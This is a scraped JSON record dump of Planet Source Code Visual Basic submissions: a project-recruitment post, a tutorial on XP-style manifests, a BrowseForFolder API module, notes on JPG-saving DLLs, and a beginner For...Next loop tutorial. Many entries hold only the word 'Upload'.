kb"},{"WorldId":1,"id":46461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46479,"LineNumber":1,"line":"First... \nI would first like to apologize for posting this in the "code" section. I \nwould post this in the forums, but as far as I can tell, just about nobody uses \nthe forums anymore. I can't post this in Rent A Coder because this project has \nnothing to do with money. However, there is some code available, so this \nseems like the best place to post it.\nAbstract \nTruth Internetworks (TIN) has been a project of mine since the day I sat \ndown at my dad's computer and started learning Visual Basic 3 on Windows 3.0. \nThe concept behind it is simple: a software platform that performs very much \nlike America Online, but a) is free, b) works better, and c) is not loaded with \ntons and tons of non-standard coding.\nSeveral weeks ago, I started working on this dream of mine. Up to this point, \nI've been able to create a completely working, fully functional e-mail client \n(send/receive HTML e-mail with attachments, filter out junk mail, etc.) and a \nrather mediocre web browser. I've been doing a lot of programming in the \nareas of string parsing, and I've been doing a lot of research, mainly here on \nPlanet Source Code. I've come to the realization that my software will never be \ncomplete without the help of volunteers. Everyone is welcome to help work on it, \nbut there's a certain set of people I'd like to have join my "team." There's \nlots to be learned, and experience is well worth it.\nWhat is Truth Internetworks? \nFor lack of a better term, TIN is a "content subscription service client." \nUsers request information much in the same manner as AOL, and the software \ndelivers it to them. Many Internet tools (and non-Internet tools) are \nbundled with the software, such as a robust web browser and e-mail client, a \ndownload accelerator/manager, centralized chat/instant messaging and forums, \nintelligent web-research agents, peer-2-peer file sharing, etc. The heart of \nTIN, however, is the content provider service. Web developers can write \nattractive web interfaces using any form of web programming (exactly like you \nwould on a normal web site) and deliver it to TIN users.\nSounds like this software is just a web browser with extra software built \nin. What makes it so special? \nThe difference between a normal web site and the content that a user will \nsee on TIN is all in the dynamics. A normal web site allows you to display text, \nimages, run client-side scripts, and the like. Server-side programming, such as \nASP, PHP, and any other form of CGI, allows sites to be a little more dynamic, \nand provide customized Web pages that can be customized to the user's liking. \nWith the right plug-ins, users can enjoy multimedia such as Flash and Windows \nMedia. Either way, there are still limitations placed on what a web site can do.\nTIN content separates itself from web pages by removing all of \nthe limitations. In addition to being able to perform all of the functions of a \nweb page, TIN content can also do things such as burn and play CDs or DVDs, help \nremove viruses from your computer, make your system run more efficiently, act as \na telephone with built-in answering machine for your computer (provided you have \na free phone line, that is), sync up with your Pocket PC or Palm, help do your \ntaxes, etc. Basically, anything you can do as a programmer, you can also do as a \nTIN content author.\nWait, if TIN can do all these things, how could it possibly be safe? \nIn not so many words, it isn't safe. Thus, all submitted content must \nchecked and given the OK before it can be published.\nOkay, I'm interested. How do I join the team? \nThere are a couple of ways. The first way is to go to the Truth Internetworks web site \n(http://www.imp-lan.com/tin). The \nsecond way is to leave a comment here. Either way, contact me somehow. I'm \nanxious to start filling seats in the team and get this project rolling. Any \nideas anyone else has are welcome, as well. =)"},{"WorldId":1,"id":46490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46551,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46567,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46591,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46596,"LineNumber":1,"line":"Red tha"},{"WorldId":1,"id":46598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46602,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46604,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46609,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46617,"LineNumber":1,"line":"<html xmlns:v=\"urn:schemas-microsoft-com:vml\" xmlns:o=\"urn:schemas-microsoft-com:office:office\" xmlns=\"http://www.w3.org/TR/REC-html40\">\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 5.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<link rel=\"File-List\" href=\"index1_files/filelist.xml\">\n<title>Hi</title>\n\n</head>\n\nHi ,\nOf course you saw a lot of new Program \nCreated with our Familiar VB6 but it have the XP Style for ex. (CuteFtp , \nApiViewer 2003,..........etc),\nAnd u must have wondered how is that \ncan be created and dreamt of creating similar one with XP Style,\n<![if !vml]>< border=0 width=663 height=51\nsrc=\"index1_files/image001.gif\" alt=\"Please Read the Following Very Well \"\nv:shapes=\"_x0000_s1030\"><![endif]>\nXP Style In Design Area:\nHere is the Way in 2 steps ( piece of \ncake, isn't it?)\n<ol>\n <li>open the notepad text editor \n and paste the code below in it and save the file as \n "vb6.exe.manifest". \n \n \n <![if !vml]>< \nwidth=556 height=440 src=\"index1_files/image002.gif\"\nalt=\"Text Box: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Sherif Rofael VB Controls To XP Style" type="win32" /> <description>sherif</description> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /> </dependentAssembly> </dependency> </assembly> \"\nv:shapes=\"_x0000_s1029\"><![endif]>\n <![if !mso]><![endif]>\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n <textarea rows=\"10\" name=\"S1\" cols=\"57\" style=\"font-size: 1em\"><?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n<assemblyIdentity\n version=\"1.0.0.0\"\n processorArchitecture=\"X86\"\n name=\"Sherif Rofael VB Controls To XP Style\"\n type=\"win32\"\n/>\n<description>sherif</description>\n<dependency>\n <dependentAssembly>\n <assemblyIdentity\n type=\"win32\"\n name=\"Microsoft.Windows.Common-Controls\"\n version=\"6.0.0.0\"\n processorArchitecture=\"X86\"\n publicKeyToken=\"6595b64144ccf1df\"\n language=\"*\"\n />\n </dependentAssembly>\n</dependency>\n</assembly>\n</textarea> \n N.B.: You can download the file \n from the attached files. \n </li>\n <li>place this file @ the VB directory \n By Default "\\....\\Microsoft Visual Studio\\VB98"</li>\n</ol>\n Here you are done, \nNow Every Time you will open the VB Design Area to write a code \n the Controls will have the Xp Style, That's Applied to all \nthe controls.\n<ul>\n <li>Text Boxes.</li>\n <li>Check Boxes</li>\n <li>List Box</li>\n <li>List View</li>\n <li>Tree View</li>\n <li>Combo Box</li>\n <li>Progress Bar</li>\n <li>Scroll Bar (Vertical & Horizontal) \n implicitly.</li>\n <li>Slider.</li>\n <li>............</li>\n <li>..............</li>\n <li>...............</li>\n <li>...............</li>\n <li>All What You Think Of.</li>\n</ul>\nTake a look @ the Screen Shot.\n \n\nCompiling Your code: \n \n Now, Once you \ncompiled the code The Xp style will Vanish, Don't Worry We will get \n it Back!!! How? \n \n If you want to get the XP Style for the compiled code u will \nhave to do 2 steps:\n<ul>\n <li>Add this piece of code into Your \n form. \n <![if !vml]>< \nwidth=556 height=124 src=\"index1_files/image003.gif\"\nalt=\"Text Box: Private Declare Function InitCommonControls Lib "Comctl32.dll" () As Long Private Sub Form_Initialize() Dim X As Long X = InitCommonControls End Sub \"\nv:shapes=\"_x0000_s1027\"><![endif]>\n <![if !mso]><![endif]>\n </li>\n</ul>\n \n \n \n\n \nIn General, If u have more than One Form You Should Add the Following code \n Into a Module to be \na public code for all forms \n <![if !vml]>< width=556\nheight=186 src=\"index1_files/image004.gif\"\nalt=\"Text Box: 'Module Public Declare Function InitCommonControls Lib "Comctl32.dll" () As Long 'Add This To Each Form Private Sub Form_Initialize() Dim X As Long X = InitCommonControls End Sub \"\nv:shapes=\"_x0000_s1028\"><![endif]>\n \n \n \n \n \n<ul>\n <li>Place the Manifest File \n in the same folder of the compiled File and name it with the same name as the \n Compiled project name. (For ex. if the compiled file name was "project1.exe" \n then the manifest file name should be "project1.exe.manifest")</li>\n</ul>\nVery Important Note: \n \nA very important note that you \nmust take care of is that you should use \n \nMicrosoft windows Common Control 5.0 \n(SP2) Right \n \nand Not \nMicrosoft windows Common Control 6.0 \n(SP4) Wrong \n \nFor Progress Bars, List View, Tree \nView, Status Bar, ...............etc\n \nSome common Problems:\n To be honest, I \nshould tell you what defect u may face using the manifest file. \n \n Some Reported \nErrors: \n ====================\n<ul>\n <li> \n In design Area It may happen That you can't see the color palette. \n This is a very small bug as u know so \n that u may set the color \n through the code itself while the \n system color is working properly.</li>\n <li> \n Some of the control may appear as a black Rectangle but me myself didn't \n Get that Problem and don't know \n anybody who have it but i read about \n some complaint about it. \n Anyway, A Fast Solution For that is \n placing the annoying control in a Picture Box. \n \n </li>\n</ul>\nAs a Conclusion (In Brief):\n<ul>\n <li>In General: manifest file name {project \n name}.{exe}.{manifest}</li>\n</ul>\n<table border=\"1\" cellspacing=\"1\" width=\"100%\" bgcolor=\"#6699FF\">\n <tr>\n <td width=\"25%\" align=\"center\"> </td>\n <td width=\"25%\" align=\"center\">EXE Name</td>\n <td width=\"25%\" align=\"center\">Manifest Filename</td>\n </tr>\n <tr>\n <td width=\"25%\" align=\"center\">Design area</td>\n <td width=\"25%\" align=\"center\">VB6</td>\n <td width=\"25%\" align=\"center\">VB6.exe.manifest (compulsory name)</td>\n </tr>\n <tr>\n <td width=\"25%\" align=\"center\">Any Compiled Project</td>\n <td width=\"25%\" align=\"center\">Project1(any name)</td>\n <td width=\"25%\" align=\"center\">project1.exe.manifest</td>\n </tr>\n</table>\n<ul>\n <li>Use Microsoft \n windows Common Control 5.0 (SP2)</li>\n</ul>\n \nIf u want to color any VB \nsource code and save it as An Html File as shown above Visit \n \nhttp://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=46458&lngWId=1\n"},{"WorldId":1,"id":46625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":46640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49308,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49322,"LineNumber":1,"line":"I dont know if this is something related with vb or developing or any source code, but you are free to read it, and i wrote it in the reason of sometimes you may ask this question to urself and no answer will find, exactly like me several times i try to find an answer but after many retries i think i find the solution, and i like you also to test it and comment on it if you find it usefull ..."},{"WorldId":1,"id":49326,"LineNumber":1,"line":"Option Explicit\nPrivate Type SH_ITEM_ID\n cb As Long\n abID As Byte\nEnd Type\nPrivate Type ITEMIDLIST\n mkid As SH_ITEM_ID\nEnd Type\nPrivate Type BrowseInfo\n hWndOwner As Long\n pidlRoot As Long\n pszDisplayName As String\n lpszTitle As String\n ulFlags As Long\n lpfnCallback As Long\n lParam As Long\n iImage As Long\nEnd Type\nPublic Enum ROOTDIR_ID\n ROOTDIR_CUSTOM = -1\n ROOTDIR_ALL = &H0\n ROOTDIR_MY_COMPUTER = &H11\n ROOTDIR_DRIVES = &H11\n ROOTDIR_ALL_NETWORK = &H12\n ROOTDIR_NETWORK_COMPUTERS = &H3D\n ROOTDIR_WORKGROUP = &H3D\n ROOTDIR_USER = &H28\n ROOTDIR_USER_DESKTOP = &H10\n ROOTDIR_USER_MY_DOCUMENTS = &H5\n ROOTDIR_USER_START_MENU = &HB\n ROOTDIR_USER_START_MENU_PROGRAMS = &H2\n ROOTDIR_USER_START_MENU_PROGRAMS_STARTUP = &H7\n ROOTDIR_COMMON_DESKTOP = &H19\n ROOTDIR_COMMON_DOCUMENTS = &H2E\n ROOTDIR_COMMON_START_MENU = &H16\n ROOTDIR_COMMON_START_MENU_PROGRAMS = &H17\n ROOTDIR_COMMON_START_MENU_PROGRAMS_STARTUP = &H18\n ROOTDIR_WINDOWS = &H24\n ROOTDIR_SYSTEM = &H25\n ROOTDIR_FONTS = &H14\n ROOTDIR_PROGRAM_FILES = &H26\n ROOTDIR_PROGRAM_FILES_COMMON_FILES = &H2B\nEnd Enum\nPrivate Type OSVERSIONINFO\n dwOSVersionInfoSize As Long\n dwMajorVersion As Long\n dwMinorVersion As Long\n dwBuildNumber As Long\n dwPlatformId As Long\n szCSDVersion As String * 128 ' Maintenance string for PSS usage\nEnd Type\nPrivate Const MAX_PATH = 260\nPrivate Const WM_USER = &H400\nPrivate Const BFFM_INITIALIZED = 1\nPrivate Const BFFM_SELCHANGED = 2\nPrivate Const BFFM_SETSTATUSTEXT = (WM_USER + 100)\nPrivate Const BFFM_SETSELECTION = (WM_USER + 102)\nPrivate Const BFFM_SETOKTEXT = (WM_USER + 105)\nPrivate Const BFFM_ENABLEOK = (WM_USER + 101)\nPrivate Const BIF_DEFAULT = &H0\nPrivate Const BIF_RETURNONLYFSDIRS = &H1 ' only local Directory\nPrivate Const BIF_DONTGOBELOWDOMAIN = &H2\nPrivate Const BIF_STATUSTEXT = &H4 ' not with BIF_NEWDIALOGSTYLE\nPrivate Const BIF_RETURNFSANCESTORS = &H8\nPrivate Const BIF_EDITBOX = &H10\nPrivate Const BIF_VALIDATE = &H20 ' use with BIF_EDITBOX or BIF_USENEWUI\nPrivate Const BIF_NEWDIALOGSTYLE = &H40 ' Use OleInitialize before\nPrivate Const BIF_USENEWUI = &H50 ' = (BIF_NEWDIALOGSTYLE + BIF_EDITBOX)\nPrivate Const BIF_BROWSEINCLUDEURLS = &H80\nPrivate Const BIF_UAHINT = &H100 ' use with BIF_NEWDIALOGSTYLE, add Usage Hint if no EditBox\nPrivate Const BIF_NONEWFOLDERBUTTON = &H200\nPrivate Const BIF_NOTRANSLATETARGETS = &H400\nPrivate Const BIF_BROWSEFORCOMPUTER = &H1000\nPrivate Const BIF_BROWSEFORPRINTER = &H2000\nPrivate Const BIF_BROWSEINCLUDEFILES = &H4000\nPrivate Const BIF_SHAREABLE = &H8000 ' use with BIF_NEWDIALOGSTYLE\n' IShellFolder's ParseDisplayName member function should be used instead.\nPrivate Declare Function SHSimpleIDListFromPath Lib \"shell32.dll\" Alias \"#162\" (ByVal szPath As String) As Long\n'Private Declare Function SHILCreateFromPath Lib \"shell32.dll\" (ByVal pszPath As Long, ByRef ppidl As Long, ByRef rgflnOut As Long) As Long\nPrivate Declare Function SHGetPathFromIDList Lib \"shell32.dll\" (ByVal pidList As Long, ByVal lpBuffer As String) As Long\nPrivate Declare Function SHBrowseForFolder Lib \"shell32.dll\" (lpbi As BrowseInfo) As Long\nPrivate Declare Sub CoTaskMemFree Lib \"ole32.dll\" (ByVal hMem As Long)\nPrivate Declare Function SHGetSpecialFolderLocation Lib \"shell32.dll\" (ByVal hWndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long\nPrivate Declare Sub OleInitialize Lib \"ole32.dll\" (pvReserved As Any)\nPrivate Declare Function PathIsDirectory Lib \"shlwapi.dll\" Alias \"PathIsDirectoryA\" (ByVal pszPath As String) As Long\nPrivate Declare Function SendMessage Lib \"user32.dll\" Alias \"SendMessageA\" (ByVal HWND As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long\nPrivate Declare Function SendMessage2 Lib \"user32.dll\" Alias \"SendMessageA\" (ByVal HWND As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPrivate Declare Function GetVersionEx Lib \"kernel32.dll\" Alias \"GetVersionExA\" (lpVersionInformation As OSVERSIONINFO) As Long\nPrivate m_CurrentDirectory As String\nPrivate OK_BUTTON_TEXT As String\n'\nPrivate Function isNT2000XP() As Boolean\n Dim lpv As OSVERSIONINFO\n lpv.dwOSVersionInfoSize = Len(lpv)\n GetVersionEx lpv\n If lpv.dwPlatformId = 2 Then\n isNT2000XP = True\n Else\n isNT2000XP = False\n End If\nEnd Function\nPrivate Function isME2KXP() As Boolean\n Dim lpv As OSVERSIONINFO\n lpv.dwOSVersionInfoSize = Len(lpv)\n GetVersionEx lpv\n If ((lpv.dwPlatformId = 2) And (lpv.dwMajorVersion >= 5)) Or _\n ((lpv.dwPlatformId = 1) And (lpv.dwMajorVersion >= 4) And (lpv.dwMinorVersion >= 90)) Then\n isME2KXP = True\n Else\n isME2KXP = False\n End If\nEnd Function\nPrivate Function GetPIDLFromPath(spath As String) As Long\n ' Return the pidl to the path supplied by calling the undocumented API #162\n If isNT2000XP Then\n GetPIDLFromPath = SHSimpleIDListFromPath(StrConv(spath, vbUnicode))\n Else\n GetPIDLFromPath = SHSimpleIDListFromPath(spath)\n End If\nEnd Function\nPrivate Function GetSpecialFolderID(ByVal CSIDL As ROOTDIR_ID) As Long\n Dim IDL As ITEMIDLIST, r As Long\n r = SHGetSpecialFolderLocation(ByVal 0&, CSIDL, IDL)\n If r = 0 Then\n GetSpecialFolderID = IDL.mkid.cb\n Else\n GetSpecialFolderID = 0\n End If\nEnd Function\nPrivate Function GetAddressOfFunction(zAdd As Long) As Long\n GetAddressOfFunction = zAdd\nEnd Function\nPrivate Function BrowseCallbackProc(ByVal HWND As Long, ByVal uMsg As Long, ByVal lp As Long, ByVal pData As Long) As Long\n On Local Error Resume Next\n Dim sBuffer As String\n Select Case uMsg\n Case BFFM_INITIALIZED\n SendMessage HWND, BFFM_SETSELECTION, 1, m_CurrentDirectory\n If OK_BUTTON_TEXT <> vbNullString Then SendMessage2 HWND, BFFM_SETOKTEXT, 1, StrPtr(OK_BUTTON_TEXT)\n Case BFFM_SELCHANGED\n sBuffer = Space$(MAX_PATH)\n SHGetPathFromIDList lp, sBuffer\n sBuffer = Left$(sBuffer, InStr(sBuffer, vbNullChar) - 1)\n If Len(sBuffer) = 0 Then\n SendMessage2 HWND, BFFM_ENABLEOK, 1, 0\n SendMessage HWND, BFFM_SETSTATUSTEXT, 1, \"\"\n Else\n SendMessage HWND, BFFM_SETSTATUSTEXT, 1, sBuffer\n End If\n End Select\n BrowseCallbackProc = 0\nEnd Function\nPublic Function BrowseForFolder(Optional OwnerForm As Form = Nothing, Optional ByVal Title As String = \"\", Optional ByVal RootDir As ROOTDIR_ID = ROOTDIR_ALL, Optional ByVal CustomRootDir As String = \"\", Optional ByVal StartDir As String = \"\", Optional ByVal NewStyle As Boolean = True, Optional ByVal IncludeFiles As Boolean = False, Optional ByVal OkButtonText As String = \"\") As String\n Dim lpIDList As Long, sBuffer As String, tBrowseInfo As BrowseInfo, clRoot As Boolean\n If Len(OkButtonText) > 0 Then\n OK_BUTTON_TEXT = OkButtonText\n Else\n OK_BUTTON_TEXT = vbNullString\n End If\n clRoot = False\n If RootDir = ROOTDIR_CUSTOM Then\n If Len(CustomRootDir) > 0 Then\n If (PathIsDirectory(CustomRootDir) And (Left$(CustomRootDir, 2) <> \"\\\\\")) Or (Left$(CustomRootDir, 2) = \"\\\\\") Then\n tBrowseInfo.pidlRoot = GetPIDLFromPath(CustomRootDir)\n' SHILCreateFromPath StrPtr(CustomRootDir), tBrowseInfo.pidlRoot, ByVal 0&\n clRoot = True\n Else\n tBrowseInfo.pidlRoot = GetSpecialFolderID(ROOTDIR_MY_COMPUTER)\n End If\n Else\n tBrowseInfo.pidlRoot = GetSpecialFolderID(ROOTDIR_ALL)\n End If\n Else\n tBrowseInfo.pidlRoot = GetSpecialFolderID(RootDir)\n End If\n If (Len(StartDir) > 0) Then\n m_CurrentDirectory = StartDir & vbNullChar\n Else\n m_CurrentDirectory = vbNullChar\n End If\n If Len(Title) > 0 Then\n tBrowseInfo.lpszTitle = Title\n Else\n tBrowseInfo.lpszTitle = \"Select A Directory\"\n End If\n tBrowseInfo.lpfnCallback = GetAddressOfFunction(AddressOf BrowseCallbackProc)\n tBrowseInfo.ulFlags = BIF_RETURNONLYFSDIRS\n If IncludeFiles Then tBrowseInfo.ulFlags = tBrowseInfo.ulFlags + BIF_BROWSEINCLUDEFILES\n If NewStyle And isME2KXP Then\n tBrowseInfo.ulFlags = tBrowseInfo.ulFlags + BIF_NEWDIALOGSTYLE + BIF_UAHINT\n OleInitialize Null ' Initialize OLE and COM\n Else\n tBrowseInfo.ulFlags = tBrowseInfo.ulFlags + BIF_STATUSTEXT\n End If\n If Not (OwnerForm Is Nothing) Then tBrowseInfo.hWndOwner = OwnerForm.HWND\n lpIDList = SHBrowseForFolder(tBrowseInfo)\n If clRoot = True Then CoTaskMemFree tBrowseInfo.pidlRoot\n If (lpIDList) Then\n sBuffer = Space$(MAX_PATH)\n SHGetPathFromIDList lpIDList, sBuffer\n CoTaskMemFree lpIDList\n sBuffer = Left$(sBuffer, InStr(sBuffer, vbNullChar) - 1)\n BrowseForFolder = sBuffer\n Else\n BrowseForFolder = \"\"\n End If\nEnd Function\nPrivate Sub main()\n MsgBox BrowseForFolder(, \"TITLE\", , , , , , \"NewOK\")\n MsgBox BrowseForFolder(, , ROOTDIR_CUSTOM, \"c:\\\", \"c:\\windows\", False, True)\nEnd Sub\n"},{"WorldId":1,"id":49330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49350,"LineNumber":1,"line":"Save as JPG (3 options)<o:p></o:p>\n<![if !supportEmptyParas]>┬á<![endif]><o:p></o:p>\n<ul style='margin-top:0in' type=disc>\n <li class=MsoNormal style='mso-list:l1 level1 lfo3;tab-stops:list .5in'>Option\n #1┬á - This option requires\n IJL15.DLL that is no longer distributed or supported by Intel.<span\n style=\"mso-spacerun: yes\">┬á It can still be downloaded from <a\n href=\"http://www.dll-files.com/dllindex/dll-files.shtml?ijl15\">http://www.dll-files.com/dllindex/dll-files.shtml?ijl15</a>.\n <o:p></o:p></li>\n <li class=MsoNormal style='margin-top:12.0pt;mso-list:l1 level1 lfo3;\n tab-stops:list .5in'>Option #2┬á -\n This option requires DIJPG.DLL, which can be downloaded from <a\n href=\"http://www.disoft.com/oss/dijpg.htm\">http://www.disoft.com/oss/dijpg.htm</a>.<span\n style=\"mso-spacerun: yes\">┬á Takes longer because it must save the\n picture as a BMP file first and then convert the saved BMP file to a JPG\n file.┬á The JPG file it creates is\n about 2.4 times larger then the other two options.<o:p></o:p></li>\n <li class=MsoNormal style='margin-top:12.0pt;mso-list:l1 level1 lfo3;\n tab-stops:list .5in'>Option #3┬á -\n This Option requires your project to reference GDI+.TLB and needs\n GDIPLUS.DLL , which can be downloaded from <a\n href=\"http://www.microsoft.com/downloads/release.asp?releaseid=32738\">http://www.microsoft.com/downloads/release.asp?releaseid=32738</a>.<span\n style=\"mso-spacerun: yes\">┬á Any 32 bit OS aside from Win95 can use\n the gdiplus.dll. This DLL is installed with the .net framework and is\n already present in the WinXP OS. ┬áFor more information click <a\n href=\"http://vbaccelerator.com/home/VB/Code/vbMedia/Using_GDI_Plus/GDIPlus_Helper/article.asp\">http://vbaccelerator.com/home/VB/Code/vbMedia/Using_GDI_Plus/GDIPlus_Helper/article.asp</a>.<o:p></o:p></li>\n</ul>\nPlease do not vote; I posted this\nfor information purposes only. Take a look at the code examples.<o:p></o:p>\nEnjoy,"},{"WorldId":1,"id":49352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49360,"LineNumber":1,"line":"Download the zip file to read the tutorial. Hope you will benefit from this code. Happy coding!"},{"WorldId":1,"id":49362,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":49364,"LineNumber":1,"line":"Visual Basic Newbie \nTutorial 1 : For...Next Loop \nLoop \nA loop is used to run a block of statements over and over. It is simply a group \nof commands that is repeated a specified number of times or for a specified \nlength of time. An example of looping action : imagine you are sticking mail \nlabels to several invitation cards. For each card, you check that the label \nmatches the name on it, then you tick it off from your guest list, before \npasting the mail label onto the card. You then proceed to the next card, repeat \nthe check, tick and paste actions, and so on. This is essentially how a loop \nworks.\nThere are two types of loops : \n┬╖ Counter Loop - where repetition is based on a specified number of times \n┬╖ Conditional Loop - where repetition is based on set conditions\nCounter Loops \nYou use a counter loop when you want the computer to perform a task for a \nspecific number of times. This is similar to running a track race of, say 12 \nlaps. While running, you count the number of laps, and when you have completed \n12, you stop.\nA counter loop is also known as a For loop \nor a For/Next loop. This is because the ends of the loop are \ndefined by the For \nstatement and the Next \nstatement. A For/Next loop requires two statements: the \nFor statement at the \nbeginning of the loop and the Next \nstatement at the end of loop.\nAt the beginning of a \nFor loop, you define \na counter variable as well as the start and end values for the variable. For \nexample, if you want the loop to repeat 12 times, you would set\n \nFor X = 1 To 12\nThe syntax of the loop is as follows\n<blockquote>\n For countervariable = start To \n end \n Statements to be executed \n Next countervariable\n</blockquote>\nThe first time the loop is run, the counter \nvariable is set to the value of the starting point (usually 1). After the \nstatements are executed once, the counter variable reaches the Next statement \nwhere a counter registers a count of 1. The counter variable increase by one for \neach loop. Each time, the value in the counter is checked against the value of \nthe end point. It stops when this value is reached.\nExample\nThe following program will cause the computer to \nsend out five beeps, one after another from the computer's speaker.\n For b = 1 To 5 \n Beep \n Next b\nThe variable used is b. It stands for the first \nnumber in a For loop. Each time the loop is executed, the counter variable b \nincreases by 1, until it reaches a value of 5.\nThus, the above code is same as following :\n Beep \n Beep \n Beep \n Beep \n Beep\nStep Size \nThe default change in the loop counter is one. You can specify a different value \nfor the change. This value is known as the step size. Referring to \nour example of track, if the track is 1000 meters long, a race of 10,000 meters \nwill require 10 laps. On a track of 500 meters, it would require 20 laps. The \nstep size changes the number of required laps or runs.\nTo change the step size, include step in the For \nloop. You can use any number, including decimals and negative numbers for the \nstep size.\nExample\nDim Count\n For Count = 0 To 100 Step 10 \n Print Count \n Next Count\nThe output will as follow :\n 0 \n 10 \n 20 \n 30 \n 40 \n 50 \n 60 \n 70 \n 80 \n 90 \n 100\nNested Loops \nYou can nest two or more For loops inside one another. Whenever you program \nneeds to repeat a loop more than once, use a nested loop.\nThe following example shows two nested loops:\n For x = 1 To 3 \n<------------------------------ \n \n| \n For y = 1 To 5 <--- \n| \n Print "#"; | \nInner loop \n| Outer loop \n Next y ------------ \n| \n \n| \n Print \n| \n Next x ---------------------------------------\nThe inner loop is performed first. After it is \ncompleted, then the outer loop carries on.\nInner Loop \nIn the above example, the inner loop starts with the variable \ny = 1. It prints #. \nThe semicolon will cause the next statement to print on the same line. Hence the \nsecond time the loop is carried out another # will be printed next to the \nfirst, resulting in ##. After the inner loop is repeated 5 times, the result \nwill be #####.\nOuter Loop \nThe outer loop begins with the variable x = 1. \nThis will cause the inner loop to occur once, resulting in #####. The second \ntime the outer loop occurs, another ##### will be printed, and so on. Thus after \n3 repetitions of the outer loop the result will be\n ##### \n ##### \n #####\nThe Print statement by itself starts a new line \nfor each row of #####, then include another Print Statement.\n Dim x As Integer, y As Integer\n For x = 1 To 3\n For y = 1 \nTo 5 \n Print "#"; \n Next y\n Print \n Print \n Next x\nNested loops need not be hard to use. Just \nremember the rule : The inner loop must be completed before the Next statement \nfor the outer loop is encountered. Use indentation and blank lines between loops \nto make them easy to read and debug.\n\n---------------------------------- \nVisual Basic Newbie Tutorial 1 : For...Next Loop Ends Here 